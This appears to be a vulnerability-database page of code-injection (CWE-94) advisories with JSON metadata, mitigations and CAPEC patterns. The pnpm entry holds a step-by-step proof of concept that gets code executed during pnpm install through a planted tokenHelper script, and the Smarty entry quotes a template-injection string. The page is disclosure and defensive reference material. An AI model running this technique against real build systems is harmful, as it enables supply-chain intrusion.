CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8358 vulnerabilities reference this CWE, most recent first.
GHSA-2PGV-8585-494W
Vulnerability from github – Published: 2025-07-22 18:30 – Updated: 2025-07-22 18:30Remote Code Execution in letta.server.rest_api.routers.v1.tools.run_tool_from_source in letta-ai Letta 0.7.12 allows remote attackers to execute arbitrary Python code and system commands via crafted payloads to the /v1/tools/run endpoint, bypassing intended sandbox restrictions.
{
"affected": [],
"aliases": [
"CVE-2025-51482"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-22T17:15:33Z",
"severity": "HIGH"
},
"details": "Remote Code Execution in letta.server.rest_api.routers.v1.tools.run_tool_from_source in letta-ai Letta 0.7.12 allows remote attackers to execute arbitrary Python code and system commands via crafted payloads to the /v1/tools/run endpoint, bypassing intended sandbox restrictions.",
"id": "GHSA-2pgv-8585-494w",
"modified": "2025-07-22T18:30:42Z",
"published": "2025-07-22T18:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51482"
},
{
"type": "WEB",
"url": "https://github.com/letta-ai/letta/pull/2630"
},
{
"type": "WEB",
"url": "https://github.com/letta-ai/letta"
},
{
"type": "WEB",
"url": "https://www.gecko.security/blog/cve-2025-51482"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2PHV-J68V-WWQX
Vulnerability from github – Published: 2026-01-07 18:51 – Updated: 2026-01-08 20:07Summary
A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.
Affected Components
- Package: pnpm
- Versions: All versions using
@pnpm/config.env-replaceandloadTokenfunctionality - File:
pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts-loadToken()function - File:
pnpm/config/config/src/readLocalConfig.ts-.npmrcenvironment variable substitution
Technical Details
Vulnerability Chain
- Environment Variable Substitution
.npmrcsupports${VAR}syntax-
Substitution occurs in
readLocalConfig() -
loadToken Execution
- Uses
spawnSync(helperPath, { shell: true }) -
Only validates absolute path existence
-
Attack Flow
.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
↓
envReplace() → /tmp/evil-helper.sh
↓
loadToken() → spawnSync(..., { shell: true })
↓
RCE achieved
Code Evidence
pnpm/config/config/src/readLocalConfig.ts:17-18
key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)
pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71
export function loadToken(helperPath: string, settingName: string): string {
if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
}
const spawnResult = spawnSync(helperPath, { shell: true })
// ...
}
Proof of Concept
Prerequisites
- Private npm registry access
- Control over environment variables
- Ability to place scripts in filesystem
PoC Steps
# 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'
#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh
# 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF
# 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh
# 4. Trigger pnpm install
pnpm install # RCE occurs during auth
# 5. Verify attack
cat /tmp/rce-log.txt
PoC Results
==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed
Impact
Severity
- CVSS Score: 7.6 (High)
- CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected Environments
High Risk: - CI/CD pipelines (GitHub Actions, GitLab CI) - Docker build environments - Kubernetes deployments - Private registry users
Low Risk: - Public registry only - Production runtime (no pnpm execution) - Static sites
Attack Scenarios
Scenario 1: CI/CD Supply Chain
Repository → Build Trigger → pnpm install → RCE → Production Deploy
Scenario 2: Docker Build
FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install # RCE
Scenario 3: Kubernetes
Secret Control → Env Variable → .npmrc Substitution → RCE
Mitigation
Temporary Workarounds
Disable tokenHelper:
# .npmrc
# registry.npmjs.org/:tokenHelper=${HELPER_PATH}
Use direct tokens:
//registry.npmjs.org/:_authToken=YOUR_TOKEN
Audit environment variables: - Review CI/CD env vars - Restrict .npmrc changes - Monitor build logs
Recommended Fixes
- Remove
shell: truefrom loadToken - Implement helper path allowlist
- Validate substituted paths
- Consider sandboxing
Disclosure
- Discovery: 2025-11-02
- PoC: 2025-11-02
- Report: [Pending disclosure decision]
References
- Repository: https://github.com/pnpm/pnpm
- Affected:
@pnpm/config.env-replace@^3.0.2 - Similar: CVE-2024-53866, CVE-2023-37478
Credit
Reported by: Jiyong Yang Contact: sy2n0@naver.com
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pnpm"
},
"ranges": [
{
"events": [
{
"introduced": "6.25.0"
},
{
"fixed": "10.27.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69262"
],
"database_specific": {
"cwe_ids": [
"CWE-78",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-07T18:51:07Z",
"nvd_published_at": "2026-01-07T23:15:50Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA command injection vulnerability exists in pnpm when using environment variable substitution in `.npmrc` configuration files with `tokenHelper` settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.\n\n## Affected Components\n\n- **Package**: pnpm\n- **Versions**: All versions using `@pnpm/config.env-replace` and `loadToken` functionality\n- **File**: `pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts` - `loadToken()` function\n- **File**: `pnpm/config/config/src/readLocalConfig.ts` - `.npmrc` environment variable substitution\n\n## Technical Details\n\n### Vulnerability Chain\n\n1. **Environment Variable Substitution**\n - `.npmrc` supports `${VAR}` syntax\n - Substitution occurs in `readLocalConfig()`\n\n2. **loadToken Execution**\n - Uses `spawnSync(helperPath, { shell: true })`\n - Only validates absolute path existence\n\n3. **Attack Flow**\n```\n.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}\n \u2193\nenvReplace() \u2192 /tmp/evil-helper.sh\n \u2193\nloadToken() \u2192 spawnSync(..., { shell: true })\n \u2193\nRCE achieved\n```\n\n### Code Evidence\n\n**`pnpm/config/config/src/readLocalConfig.ts:17-18`**\n```typescript\nkey = envReplace(key, process.env)\nini[key] = parseField(types, envReplace(val, process.env), key)\n```\n\n**`pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71`**\n```typescript\nexport function loadToken(helperPath: string, settingName: string): string {\n if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {\n throw new PnpmError(\u0027BAD_TOKEN_HELPER_PATH\u0027, ...)\n }\n const spawnResult = spawnSync(helperPath, { shell: true })\n // ...\n}\n```\n\n## Proof of Concept\n\n### Prerequisites\n- Private npm registry access\n- Control over environment variables\n- Ability to place scripts in filesystem\n\n### PoC Steps\n\n```bash\n# 1. Create malicious helper script\ncat \u003e /tmp/evil-helper.sh \u003c\u003c \u0027SCRIPT\u0027\n#!/bin/bash\necho \"RCE SUCCESS!\" \u003e /tmp/rce-log.txt\necho \"TOKEN_12345\"\nSCRIPT\nchmod +x /tmp/evil-helper.sh\n\n# 2. Create .npmrc with environment variable\ncat \u003e .npmrc \u003c\u003c \u0027EOF\u0027\nregistry=https://registry.npmjs.org/\nregistry.npmjs.org/:tokenHelper=${HELPER_PATH}\nEOF\n\n# 3. Set environment variable (attacker controlled)\nexport HELPER_PATH=/tmp/evil-helper.sh\n\n# 4. Trigger pnpm install\npnpm install # RCE occurs during auth\n\n# 5. Verify attack\ncat /tmp/rce-log.txt\n```\n\n### PoC Results\n```\n==\u003e Attack successful\n==\u003e File created: /tmp/rce-log.txt\n==\u003e Arbitrary code execution confirmed\n```\n\n## Impact\n\n### Severity\n- **CVSS Score**: 7.6 (High)\n- **CVSS Vector**: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H\n\n### Affected Environments\n\n**High Risk:**\n- CI/CD pipelines (GitHub Actions, GitLab CI)\n- Docker build environments\n- Kubernetes deployments\n- Private registry users\n\n**Low Risk:**\n- Public registry only\n- Production runtime (no pnpm execution)\n- Static sites\n\n### Attack Scenarios\n\n**Scenario 1: CI/CD Supply Chain**\n```\nRepository \u2192 Build Trigger \u2192 pnpm install \u2192 RCE \u2192 Production Deploy\n```\n\n**Scenario 2: Docker Build**\n```dockerfile\nFROM node:20\nARG HELPER_PATH=/tmp/evil\nCOPY .npmrc .\nRUN pnpm install # RCE\n```\n\n**Scenario 3: Kubernetes**\n```\nSecret Control \u2192 Env Variable \u2192 .npmrc Substitution \u2192 RCE\n```\n\n## Mitigation\n\n### Temporary Workarounds\n\n**Disable tokenHelper:**\n```ini\n# .npmrc\n# registry.npmjs.org/:tokenHelper=${HELPER_PATH}\n```\n\n**Use direct tokens:**\n```ini\n//registry.npmjs.org/:_authToken=YOUR_TOKEN\n```\n\n**Audit environment variables:**\n- Review CI/CD env vars\n- Restrict .npmrc changes\n- Monitor build logs\n\n### Recommended Fixes\n\n1. Remove `shell: true` from loadToken\n2. Implement helper path allowlist\n3. Validate substituted paths\n4. Consider sandboxing\n\n## Disclosure\n\n- **Discovery**: 2025-11-02\n- **PoC**: 2025-11-02\n- **Report**: [Pending disclosure decision]\n\n## References\n\n- Repository: https://github.com/pnpm/pnpm\n- Affected: `@pnpm/config.env-replace@^3.0.2`\n- Similar: CVE-2024-53866, CVE-2023-37478\n\n## Credit\n\nReported by: Jiyong Yang\nContact: sy2n0@naver.com",
"id": "GHSA-2phv-j68v-wwqx",
"modified": "2026-01-08T20:07:34Z",
"published": "2026-01-07T18:51:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-2phv-j68v-wwqx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69262"
},
{
"type": "PACKAGE",
"url": "https://github.com/pnpm/pnpm"
},
{
"type": "WEB",
"url": "https://github.com/pnpm/pnpm/releases/tag/v10.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "pnpm vulnerable to Command Injection via environment variable substitution"
}
GHSA-2PJP-4C9P-2RHV
Vulnerability from github – Published: 2022-05-14 03:19 – Updated: 2022-05-14 03:19Cosmo 1.0.0Beta6 allows attackers to execute arbitrary PHP code via the Database Prefix field on the Database Info screen of install.php.
{
"affected": [],
"aliases": [
"CVE-2018-10429"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-26T17:29:00Z",
"severity": "CRITICAL"
},
"details": "Cosmo 1.0.0Beta6 allows attackers to execute arbitrary PHP code via the Database Prefix field on the Database Info screen of install.php.",
"id": "GHSA-2pjp-4c9p-2rhv",
"modified": "2022-05-14T03:19:26Z",
"published": "2022-05-14T03:19:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-10429"
},
{
"type": "WEB",
"url": "https://github.com/CosmoCMS/Cosmo/issues/405"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2PJQ-RFQM-7X97
Vulnerability from github – Published: 2022-05-02 03:41 – Updated: 2022-05-02 03:41PHP remote file inclusion vulnerability in editor/edit_htmlarea.php in Ve-EDIT 0.1.4 allows remote attackers to execute arbitrary PHP code via a URL in the highlighter parameter.
{
"affected": [],
"aliases": [
"CVE-2009-3065"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-09-03T17:30:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in editor/edit_htmlarea.php in Ve-EDIT 0.1.4 allows remote attackers to execute arbitrary PHP code via a URL in the highlighter parameter.",
"id": "GHSA-2pjq-rfqm-7x97",
"modified": "2022-05-02T03:41:24Z",
"published": "2022-05-02T03:41:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3065"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/9577"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/2522"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-2PMX-6MM6-6V72
Vulnerability from github – Published: 2022-05-17 01:13 – Updated: 2024-04-24 22:53Smarty before 3.1.21 allows remote attackers to bypass the secure mode restrictions and execute arbitrary PHP code as demonstrated by "{literal}<{/literal}script language=php>" in a template.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "smarty/smarty"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2014-8350"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-24T22:53:34Z",
"nvd_published_at": "2014-11-03T16:55:00Z",
"severity": "HIGH"
},
"details": "Smarty before 3.1.21 allows remote attackers to bypass the secure mode restrictions and execute arbitrary PHP code as demonstrated by \"{literal}\u003c{/literal}script language=php\u003e\" in a template.",
"id": "GHSA-2pmx-6mm6-6v72",
"modified": "2024-04-24T22:53:34Z",
"published": "2022-05-17T01:13:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-8350"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=765920"
},
{
"type": "WEB",
"url": "https://code.google.com/p/smarty-php/source/browse/trunk/distribution/change_log.txt?r=4902"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/97725"
},
{
"type": "PACKAGE",
"url": "https://github.com/smarty-php/smarty"
},
{
"type": "WEB",
"url": "http://advisories.mageia.org/MGASA-2014-0468.html"
},
{
"type": "WEB",
"url": "http://seclists.org/oss-sec/2014/q4/420"
},
{
"type": "WEB",
"url": "http://seclists.org/oss-sec/2014/q4/421"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2014:221"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/70708"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Smarty arbitrary PHP code execution"
}
GHSA-2PP3-2HR3-936M
Vulnerability from github – Published: 2024-12-18 15:33 – Updated: 2024-12-18 15:33A relative path traversal in Fortinet FortiWLM version 8.6.0 through 8.6.5 and 8.5.0 through 8.5.4 allows attacker to execute unauthorized code or commands via specially crafted web requests.
{
"affected": [],
"aliases": [
"CVE-2023-34990"
],
"database_specific": {
"cwe_ids": [
"CWE-23",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-18T13:15:05Z",
"severity": "CRITICAL"
},
"details": "A relative path traversal in Fortinet FortiWLM version 8.6.0 through 8.6.5 and 8.5.0 through 8.5.4 allows attacker to execute unauthorized code or commands via specially crafted web requests.",
"id": "GHSA-2pp3-2hr3-936m",
"modified": "2024-12-18T15:33:00Z",
"published": "2024-12-18T15:33:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34990"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-23-144"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2PVM-P3X6-GXVP
Vulnerability from github – Published: 2022-05-24 17:49 – Updated: 2022-07-13 00:01An arbitrary code execution vulnerability exists in Micro Focus Application Performance Management, affecting versions 9.40, 9.50 and 9.51. The vulnerability could allow remote attackers to execute arbitrary code on affected installations of APM.
{
"affected": [],
"aliases": [
"CVE-2021-22514"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-28T12:15:00Z",
"severity": "CRITICAL"
},
"details": "An arbitrary code execution vulnerability exists in Micro Focus Application Performance Management, affecting versions 9.40, 9.50 and 9.51. The vulnerability could allow remote attackers to execute arbitrary code on affected installations of APM.",
"id": "GHSA-2pvm-p3x6-gxvp",
"modified": "2022-07-13T00:01:10Z",
"published": "2022-05-24T17:49:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22514"
},
{
"type": "WEB",
"url": "https://softwaresupport.softwaregrp.com/doc/KM03806649"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2Q62-RW6M-PCHG
Vulnerability from github – Published: 2022-05-01 02:16 – Updated: 2025-01-16 21:30Eval injection vulnerability in bvh_import.py in Blender 2.36 allows attackers to execute arbitrary Python code via a hierarchy element in a .bvh file, which is supplied to an eval function call.
{
"affected": [],
"aliases": [
"CVE-2005-3302"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2005-10-24T10:02:00Z",
"severity": "HIGH"
},
"details": "Eval injection vulnerability in bvh_import.py in Blender 2.36 allows attackers to execute arbitrary Python code via a hierarchy element in a .bvh file, which is supplied to an eval function call.",
"id": "GHSA-2q62-rw6m-pchg",
"modified": "2025-01-16T21:30:54Z",
"published": "2022-05-01T02:16:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2005-3302"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=330895"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/19754"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2006/dsa-1039"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/17663"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-2Q6F-JMHV-H8GR
Vulnerability from github – Published: 2022-05-14 01:49 – Updated: 2022-05-14 01:49statics/app/index/controller/Install.php in YUNUCMS 1.1.5 (if install.lock is not present) allows remote attackers to execute arbitrary PHP code by placing this code in the index.php?s=index/install/setup2 DB_PREFIX field, which is written to database.php.
{
"affected": [],
"aliases": [
"CVE-2018-19180"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-11-11T17:29:00Z",
"severity": "CRITICAL"
},
"details": "statics/app/index/controller/Install.php in YUNUCMS 1.1.5 (if install.lock is not present) allows remote attackers to execute arbitrary PHP code by placing this code in the index.php?s=index/install/setup2 DB_PREFIX field, which is written to database.php.",
"id": "GHSA-2q6f-jmhv-h8gr",
"modified": "2022-05-14T01:49:56Z",
"published": "2022-05-14T01:49:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19180"
},
{
"type": "WEB",
"url": "https://github.com/doublefast/yunucms/issues/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-2Q7J-JRWG-8822
Vulnerability from github – Published: 2022-04-30 18:11 – Updated: 2025-04-03 03:34Internet Explorer 5.0 and 5.01 allows remote attackers to modify or execute files via the Import/Export Favorites feature, aka the "ImportExportFavorites" vulnerability.
{
"affected": [],
"aliases": [
"CVE-1999-0702"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "1999-09-10T04:00:00Z",
"severity": "HIGH"
},
"details": "Internet Explorer 5.0 and 5.01 allows remote attackers to modify or execute files via the Import/Export Favorites feature, aka the \"ImportExportFavorites\" vulnerability.",
"id": "GHSA-2q7j-jrwg-8822",
"modified": "2025-04-03T03:34:42Z",
"published": "2022-04-30T18:11:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-1999-0702"
},
{
"type": "WEB",
"url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/1999/ms99-037"
},
{
"type": "WEB",
"url": "http://support.microsoft.com/default.aspx?scid=kb%3B%5BLN%5D%3BQ241361"
},
{
"type": "WEB",
"url": "http://support.microsoft.com/default.aspx?scid=kb;[LN];Q241361"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/627"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.